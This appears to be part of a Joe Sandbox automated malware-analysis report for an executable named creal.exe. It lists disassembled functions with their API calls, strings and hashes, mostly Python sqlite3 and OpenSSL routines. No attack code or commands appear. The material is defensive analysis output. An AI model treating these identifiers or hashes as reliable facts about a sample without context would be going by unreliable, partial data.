Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 58f62ff0c7f7b6be9e4ecb54e809448fa16189ed2b231f8d6d1ca058d2495b08
Instruction ID: 99f7e775e69b5ff47abe346936328572a1c483fe9679d9cf931e4b2458d77311
Opcode Fuzzy Hash: 58f62ff0c7f7b6be9e4ecb54e809448fa16189ed2b231f8d6d1ca058d2495b08
Instruction Fuzzy Hash: 6A418D33B29A9195EB20DF25E4443BAA7A0FB88B94F804131EA4DC77A8DF3CE541D750

Function 00007FF67A61FA18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF67A61FA58
GetCurrentDirectoryW.KERNEL32 ref: 00007FF67A61FAAA

Strings

:, xrefs: 00007FF67A61FA6E

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: c120b864dc14cbd6235dd72bea219c1032bae1501d376cd0c3e10e350c6f3e5b
Instruction ID: 198f03eec5ef485f3cda363c04c4b3ba5be85d9396dcd7b26bd5515dc7504808
Opcode Fuzzy Hash: c120b864dc14cbd6235dd72bea219c1032bae1501d376cd0c3e10e350c6f3e5b
Instruction Fuzzy Hash: 8D21D023A28681C1EB209B11D04427F77A1FB88F84F458176DB9D876A5DF7CE9459740

Function 00007FF67A602C50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67A608BE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF67A602ABB), ref: 00007FF67A608C1A

MessageBoxW.USER32 ref: 00007FF67A602D25
MessageBoxA.USER32 ref: 00007FF67A602D41

Strings

Error detected, xrefs: 00007FF67A602CFB, 00007FF67A602D33

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 6f9a1586ca547a3c2f77bf815536a5540435ab6ab19a441e761cc5e7daea12c4
Instruction ID: 94f62718df9f0b508cb88fa3a5d3ce9638ad0b7cb44d89bc528a9af8ba842355
Opcode Fuzzy Hash: 6f9a1586ca547a3c2f77bf815536a5540435ab6ab19a441e761cc5e7daea12c4
Instruction Fuzzy Hash: 8B2144B3638A8691E620DB10E4916EBA354FF98B84F805175E68D87AB5DF3CD245DB00

Function 00007FF67A602B30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67A608BE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF67A602ABB), ref: 00007FF67A608C1A

MessageBoxW.USER32 ref: 00007FF67A602C05
MessageBoxA.USER32 ref: 00007FF67A602C21

Strings

Fatal error detected, xrefs: 00007FF67A602BDB, 00007FF67A602C13

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: 851903317bfc7efaf1ad6cdea84b2df33a0253a3527f03e892242bbcad957f63
Instruction ID: a0a0ac0228c24968b4eaef46bdd3babd1267b6408c15c89c1ffa5896881747aa
Opcode Fuzzy Hash: 851903317bfc7efaf1ad6cdea84b2df33a0253a3527f03e892242bbcad957f63
Instruction Fuzzy Hash: DB2144B3638A8191E620DB10E4516EBA364FF98B84F805175E68D87AB5DF3CD245DB00

Function 00007FF67A60FF80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF67A60FFD0
RaiseException.KERNEL32 ref: 00007FF67A610011

Strings

csm, xrefs: 00007FF67A60FFFE

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 5da07f41cc1f2f0249302dc9aa2704e59a17d1d76e31cb25285a30e0af08f503
Instruction ID: caeaadf2e392ea10408a2ef1163c673c73c51142cff6921426f47ddd0d3ebf9b
Opcode Fuzzy Hash: 5da07f41cc1f2f0249302dc9aa2704e59a17d1d76e31cb25285a30e0af08f503
Instruction Fuzzy Hash: D2112B33628B4182EB618F25E44066BB7E5FB88F84F584274EE8C87768EF3CD5518B00

Function 00007FF67A62051C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A62054C
GetDriveTypeW.KERNEL32 ref: 00007FF67A62058C

Strings

:, xrefs: 00007FF67A620575

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 0484c027a31e3174e61c97ce986110c8cc183ac5b324247cdaa72bb813f071bc
Instruction ID: 428145653e9ec295a7b4c9f8cd23ae8f33a0613b6cfffb0c3415591e4b60370f
Opcode Fuzzy Hash: 0484c027a31e3174e61c97ce986110c8cc183ac5b324247cdaa72bb813f071bc
Instruction Fuzzy Hash: 25018F6793820386FB20EF64946127F6BA0EF48B08F814075D64DC66F5DF2CE944EA14

Analysis Process: creal.exePID: 7612, Parent PID: 7524COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.8%
Total number of Nodes:	1222
Total number of Limit Nodes:	147

Executed Functions

Function 00007FF8E7007C38 Relevance: 131.6, APIs: 48, Strings: 27, Instructions: 310
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_libversion_number.SQLITE3 ref: 00007FF8E7007C45
sqlite3_initialize.SQLITE3 ref: 00007FF8E7007C56
PyModule_GetState.PYTHON312 ref: 00007FF8E7007CC7
PyModule_AddType.PYTHON312 ref: 00007FF8E7007CD7
PyModule_AddType.PYTHON312 ref: 00007FF8E7007CEC
PyModule_AddType.PYTHON312 ref: 00007FF8E7007D04
PyModule_AddType.PYTHON312 ref: 00007FF8E7007D1C
PyModule_AddType.PYTHON312 ref: 00007FF8E7007D34
PyErr_NewException.PYTHON312 ref: 00007FF8E7007D56
PyModule_AddType.PYTHON312 ref: 00007FF8E7007D6F
PyErr_NewException.PYTHON312 ref: 00007FF8E7007D91
PyModule_AddType.PYTHON312 ref: 00007FF8E7007DAA
PyErr_NewException.PYTHON312 ref: 00007FF8E7007DC6
PyModule_AddType.PYTHON312 ref: 00007FF8E7007DDF
PyErr_NewException.PYTHON312 ref: 00007FF8E7007DFB
PyModule_AddType.PYTHON312 ref: 00007FF8E7007E14
PyErr_NewException.PYTHON312 ref: 00007FF8E7007E30
PyModule_AddType.PYTHON312 ref: 00007FF8E7007E49
PyErr_NewException.PYTHON312 ref: 00007FF8E7007E65
PyModule_AddType.PYTHON312 ref: 00007FF8E7007E7E
PyErr_NewException.PYTHON312 ref: 00007FF8E7007E9A
PyModule_AddType.PYTHON312 ref: 00007FF8E7007EB3
PyErr_NewException.PYTHON312 ref: 00007FF8E7007ECF
PyModule_AddType.PYTHON312 ref: 00007FF8E7007EE8
PyErr_NewException.PYTHON312 ref: 00007FF8E7007F04
PyModule_AddType.PYTHON312 ref: 00007FF8E7007F1C
PyErr_NewException.PYTHON312 ref: 00007FF8E7007F38
PyModule_AddType.PYTHON312 ref: 00007FF8E7007F51
PyUnicode_InternFromString.PYTHON312 ref: 00007FF8E7007F66
PyUnicode_InternFromString.PYTHON312 ref: 00007FF8E7007F83
PyUnicode_InternFromString.PYTHON312 ref: 00007FF8E7007FA0
PyUnicode_InternFromString.PYTHON312 ref: 00007FF8E7007FBD
PyUnicode_InternFromString.PYTHON312 ref: 00007FF8E7007FDA
PyUnicode_InternFromString.PYTHON312 ref: 00007FF8E7007FF7
PyUnicode_InternFromString.PYTHON312 ref: 00007FF8E7008014
PyUnicode_InternFromString.PYTHON312 ref: 00007FF8E7008031

Part of subcall function 00007FF8E7008390: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700804F), ref: 00007FF8E70083C8

Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E700841A
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E7008438
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E7008454
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E7008470
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E700848C
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E70084A8
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E70084C4
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E70084E0
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E70084FC
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E7008518
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E7008534
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E7008550
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E700856C
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E7008588
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E70085A4
Part of subcall function 00007FF8E7008400: PyModule_AddIntConstant.PYTHON312(?,?,00000000,00007FF8E700805F), ref: 00007FF8E70085C0

PyModule_AddStringConstant.PYTHON312 ref: 00007FF8E7008078
sqlite3_libversion.SQLITE3 ref: 00007FF8E7008086
PyModule_AddStringConstant.PYTHON312 ref: 00007FF8E7008099
PyModule_AddIntConstant.PYTHON312 ref: 00007FF8E70080B5
sqlite3_threadsafe.SQLITE3 ref: 00007FF8E70080C3
PyModule_AddIntConstant.PYTHON312 ref: 00007FF8E70080E6
PyModule_GetState.PYTHON312 ref: 00007FF8E700810B
_PyImport_GetModuleAttrString.PYTHON312 ref: 00007FF8E7008122
sqlite3_shutdown.SQLITE3 ref: 00007FF8E7008143
sqlite3_errstr.SQLITE3 ref: 00007FF8E700D86B
PyErr_SetString.PYTHON312 ref: 00007FF8E700D87E
PyErr_Format.PYTHON312 ref: 00007FF8E700D89F

Part of subcall function 00007FF8E7008150: PyType_FromModuleAndSpec.PYTHON312(?,?,?,00007FF8E7007C6C), ref: 00007FF8E7008167
Part of subcall function 00007FF8E7008150: PyModule_GetState.PYTHON312(?,?,?,00007FF8E7007C6C), ref: 00007FF8E7008178

Part of subcall function 00007FF8E7008198: PyType_FromModuleAndSpec.PYTHON312(?,?,?,00007FF8E7007C7C), ref: 00007FF8E70081AF
Part of subcall function 00007FF8E7008198: PyModule_GetState.PYTHON312(?,?,?,00007FF8E7007C7C), ref: 00007FF8E70081C0

Part of subcall function 00007FF8E70081E0: PyType_FromModuleAndSpec.PYTHON312(?,?,?,00007FF8E7007C8C), ref: 00007FF8E70081F7
Part of subcall function 00007FF8E70081E0: PyModule_GetState.PYTHON312(?,?,?,00007FF8E7007C8C), ref: 00007FF8E7008208

Part of subcall function 00007FF8E7008224: PyType_FromModuleAndSpec.PYTHON312(?,?,?,00007FF8E7007C9C), ref: 00007FF8E700823B
Part of subcall function 00007FF8E7008224: PyModule_GetState.PYTHON312(?,?,?,00007FF8E7007C9C), ref: 00007FF8E700824C

Part of subcall function 00007FF8E700826C: PyType_FromModuleAndSpec.PYTHON312(?,?,?,00007FF8E7007CAC), ref: 00007FF8E7008283
Part of subcall function 00007FF8E700826C: PyModule_GetState.PYTHON312(?,?,?,00007FF8E7007CAC), ref: 00007FF8E7008294

Part of subcall function 00007FF8E70082B4: PyType_FromModuleAndSpec.PYTHON312(?,?,?,00007FF8E7007CBC), ref: 00007FF8E70082CB
Part of subcall function 00007FF8E70082B4: PyModule_GetState.PYTHON312(?,?,?,00007FF8E7007CBC), ref: 00007FF8E70082DC

Strings

sqlite3.InterfaceError, xrefs: 00007FF8E7007DBC
threadsafety, xrefs: 00007FF8E70080DC
_deprecated_version, xrefs: 00007FF8E7008071
step, xrefs: 00007FF8E7007FE9
__adapt__, xrefs: 00007FF8E7007F5F
upper, xrefs: 00007FF8E7008006
sqlite3.Warning, xrefs: 00007FF8E7007D84
executescript, xrefs: 00007FF8E7007F92
lru_cache, xrefs: 00007FF8E7008111
sqlite3.DataError, xrefs: 00007FF8E7007EFA
sqlite3.NotSupportedError, xrefs: 00007FF8E7007F2E
sqlite3: SQLite 3.7.15 or higher required, xrefs: 00007FF8E700D860
inverse, xrefs: 00007FF8E7007FCC
finalize, xrefs: 00007FF8E7007FAF
sqlite3.InternalError, xrefs: 00007FF8E7007E26
2.6.0, xrefs: 00007FF8E7008067
__conform__, xrefs: 00007FF8E7007F75
value, xrefs: 00007FF8E7008023
sqlite3.Error, xrefs: 00007FF8E7007D49
sqlite3.DatabaseError, xrefs: 00007FF8E7007DF1
sqlite3.IntegrityError, xrefs: 00007FF8E7007EC5
functools, xrefs: 00007FF8E700811B
sqlite_version, xrefs: 00007FF8E700808C
sqlite3.OperationalError, xrefs: 00007FF8E7007E5B
sqlite3.ProgrammingError, xrefs: 00007FF8E7007E90
LEGACY_TRANSACTION_CONTROL, xrefs: 00007FF8E70080AB
Unable to interpret SQLite threadsafety mode. Got %d, expected 0, 1, or 2, xrefs: 00007FF8E700D895

Memory Dump Source

Source File: 00000002.00000002.1578819031.00007FF8E7001000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF8E7000000, based on PE: true

Associated: 00000002.00000002.1578774051.00007FF8E7000000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578860238.00007FF8E700F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578915505.00007FF8E7019000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000002.00000002.1578958590.00007FF8E701B000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7000000_creal.jbxd

Similarity

API ID: Module_$Constant$Type$From$Err_String$Exception$InternStateUnicode_$Module$SpecType_$AttrFormatImport_sqlite3_errstrsqlite3_initializesqlite3_libversionsqlite3_libversion_numbersqlite3_shutdownsqlite3_threadsafe
String ID: 2.6.0$LEGACY_TRANSACTION_CONTROL$Unable to interpret SQLite threadsafety mode. Got %d, expected 0, 1, or 2$__adapt__$__conform__$_deprecated_version$executescript$finalize$functools$inverse$lru_cache$sqlite3.DataError$sqlite3.DatabaseError$sqlite3.Error$sqlite3.IntegrityError$sqlite3.InterfaceError$sqlite3.InternalError$sqlite3.NotSupportedError$sqlite3.OperationalError$sqlite3.ProgrammingError$sqlite3.Warning$sqlite3: SQLite 3.7.15 or higher required$sqlite_version$step$threadsafety$upper$value
API String ID: 3715894170-1388897118
Opcode ID: a4efa3e3f6614b92526c4b3a4b91d8600bed29440f19417f2b8d7921e743ca98
Instruction ID: ebabf418fd150d1404c11923a7ce83827944e961efc8bdce32c642106ecb0f5d
Opcode Fuzzy Hash: a4efa3e3f6614b92526c4b3a4b91d8600bed29440f19417f2b8d7921e743ca98
Instruction Fuzzy Hash: 07E1A760B09B0392EE44DBA5E85477E23A4BF46BE4F446835CA3EC6790EF6CF1549312

Function 00007FF8E7215DC0 Relevance: 65.6, APIs: 34, Strings: 3, Instructions: 829COMMON

Download Yara Rule

APIs

EVP_MD_CTX_get0_md.LIBCRYPTO-3 ref: 00007FF8E7215F7A
EVP_MD_CTX_get0_md.LIBCRYPTO-3 ref: 00007FF8E7215F8B
EVP_MD_get_size.LIBCRYPTO-3 ref: 00007FF8E7215F93
ERR_new.LIBCRYPTO-3 ref: 00007FF8E7215FA0
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E7215FB8
ERR_new.LIBCRYPTO-3 ref: 00007FF8E721606E
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E7216086
ERR_new.LIBCRYPTO-3 ref: 00007FF8E7216174
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E721618C
EVP_CIPHER_CTX_get0_cipher.LIBCRYPTO-3 ref: 00007FF8E72162DA
EVP_CIPHER_get_mode.LIBCRYPTO-3 ref: 00007FF8E72162E2
EVP_CIPHER_CTX_get_iv_length.LIBCRYPTO-3 ref: 00007FF8E72162F1
ERR_new.LIBCRYPTO-3 ref: 00007FF8E72162FE
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E7216316
ERR_new.LIBCRYPTO-3 ref: 00007FF8E7216326
ERR_new.LIBCRYPTO-3 ref: 00007FF8E7216AA1
ERR_new.LIBCRYPTO-3 ref: 00007FF8E7216AB2
ERR_new.LIBCRYPTO-3 ref: 00007FF8E7216ACC
ERR_new.LIBCRYPTO-3 ref: 00007FF8E7216AD8
ERR_new.LIBCRYPTO-3 ref: 00007FF8E7216AE4
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E7216AFC

Strings

..\s\ssl\record\rec_layer_s3.c, xrefs: 00007FF8E7215FB1, 00007FF8E721607F, 00007FF8E7216185, 00007FF8E72161C1, 00007FF8E721630F, 00007FF8E7216559, 00007FF8E7216AF5
U, xrefs: 00007FF8E7216066
do_ssl3_write, xrefs: 00007FF8E7215FA5, 00007FF8E7216073, 00007FF8E7216179, 00007FF8E72161B5, 00007FF8E7216303, 00007FF8E721654D, 00007FF8E7216AEE

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: R_new$R_set_debug$X_get0_md$D_get_sizeR_get_modeX_get0_cipherX_get_iv_length
String ID: ..\s\ssl\record\rec_layer_s3.c$U$do_ssl3_write
API String ID: 2155623385-3398879041
Opcode ID: 36d4d9ddf363054e33d8c3296ed87f71bfe2d0e7d958c3529b07b88d0e93790b
Instruction ID: a4d4979ef8b9b14c0ef87bb55214650e1b7dfdd38c59da1f29a53f6a6f807334
Opcode Fuzzy Hash: 36d4d9ddf363054e33d8c3296ed87f71bfe2d0e7d958c3529b07b88d0e93790b
Instruction Fuzzy Hash: 27729D72A0878282FB209BA5D4507BD23A1FF45BC8F554136EE6E47A8ADF3CE545C702

Function 00007FF8E71D13D9 Relevance: 47.5, APIs: 25, Strings: 2, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OPENSSL_sk_new_null.LIBCRYPTO-3 ref: 00007FF8E723813A
ERR_new.LIBCRYPTO-3 ref: 00007FF8E7238152
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E723816A
X509_new_ex.LIBCRYPTO-3 ref: 00007FF8E723826D
d2i_X509.LIBCRYPTO-3 ref: 00007FF8E7238296
X509_free.LIBCRYPTO-3 ref: 00007FF8E7238566
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FF8E7238580

Strings

..\s\ssl\statem\statem_clnt.c, xrefs: 00007FF8E7238163, 00007FF8E72383BD, 00007FF8E7238417, 00007FF8E723843F, 00007FF8E7238476, 00007FF8E723849E, 00007FF8E72384CB, 00007FF8E72384FD, 00007FF8E723853C
tls_process_server_certificate, xrefs: 00007FF8E723815C, 00007FF8E7238433, 00007FF8E723846F, 00007FF8E7238492, 00007FF8E72384BF, 00007FF8E72384F1, 00007FF8E7238530

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: L_sk_new_nullL_sk_pop_freeR_newR_set_debugX509X509_freeX509_new_exd2i_
String ID: ..\s\ssl\statem\statem_clnt.c$tls_process_server_certificate
API String ID: 3085087540-2730446810
Opcode ID: 36e8d79e23d976b740ea242f5129b34b4295ff9e77b271edc4115a9c1831974b
Instruction ID: 7e2c34082eae753c903a84f40b2271386a807f41bfff2121e6ff9c1a0ce2cc79
Opcode Fuzzy Hash: 36e8d79e23d976b740ea242f5129b34b4295ff9e77b271edc4115a9c1831974b
Instruction Fuzzy Hash: EBC1F662A08A8292EB20DBA5D4503FD77A1FB84BC4F544132DABE476D6DF3CE481C712

Function 00007FF8E7218E50 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 125COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3 ref: 00007FF8E7218EE9
CRYPTO_free.LIBCRYPTO-3 ref: 00007FF8E7218F92
CRYPTO_malloc.LIBCRYPTO-3 ref: 00007FF8E7218FAD
ERR_new.LIBCRYPTO-3 ref: 00007FF8E721901C
ERR_set_debug.LIBCRYPTO-3 ref: 00007FF8E7219029

Strings

..\s\ssl\record\ssl3_buffer.c, xrefs: 00007FF8E7218E7B
ssl3_setup_write_buffer, xrefs: 00007FF8E7219006
ssl3_setup_read_buffer, xrefs: 00007FF8E7218EF8

Memory Dump Source

Source File: 00000002.00000002.1580599471.00007FF8E71D1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00007FF8E71D0000, based on PE: true

Associated: 00000002.00000002.1580559886.00007FF8E71D0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580599471.00007FF8E7253000.00000020.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581118655.00007FF8E727D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7282000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7288000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000002.00000002.1581212869.00007FF8E7290000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e71d0000_creal.jbxd

Similarity

API ID: O_malloc$O_freeR_newR_set_debug
String ID: ..\s\ssl\record\ssl3_buffer.c$ssl3_setup_read_buffer$ssl3_setup_write_buffer
API String ID: 2137838121-2302522825
Opcode ID: 3ed476757c16f9c518a80d7b86d6f942c3d03468d456452f37b9b146c2e16dcf
Instruction ID: d0bf3de0167f771ad32442fb3ed657f6197b577288357c28db1dd43952cc31d5
Opcode Fuzzy Hash: 3ed476757c16f9c518a80d7b86d6f942c3d03468d456452f37b9b146c2e16dcf
Instruction Fuzzy Hash: 3C51AB72A08B4281FB109BA5E8847AD73A5FB94BD8F554435EE6E43785DF3DD481C301

Function 00007FF8E68C9060 Relevance: 14.0, APIs: 6, Strings: 3, Instructions: 517COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68C913B
memset.VCRUNTIME140 ref: 00007FF8E68C91AE
memcpy.VCRUNTIME140 ref: 00007FF8E68C9215
memcpy.VCRUNTIME140 ref: 00007FF8E68C9237
memcpy.VCRUNTIME140 ref: 00007FF8E68C93FF
memcpy.VCRUNTIME140 ref: 00007FF8E68C9428

